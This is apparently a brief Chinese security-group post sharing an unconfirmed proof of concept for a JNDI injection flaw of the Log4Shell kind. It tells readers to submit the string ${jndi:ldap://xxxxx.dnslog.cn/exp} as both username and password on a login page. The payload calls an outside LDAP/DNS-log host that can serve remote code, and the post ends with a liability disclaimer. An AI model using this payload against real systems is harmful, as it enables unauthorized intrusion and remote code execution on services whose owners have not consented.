poc不知真假
在登录口用户名密码都登录打一下就知道了
${jndi:ldap://xxxxx.dnslog.cn/exp}
漏洞风险提示:https://mp.weixin.qq.com/s/wC7mrK1Y4DYz9_yW4fLzbw
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
无害实验室sec拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的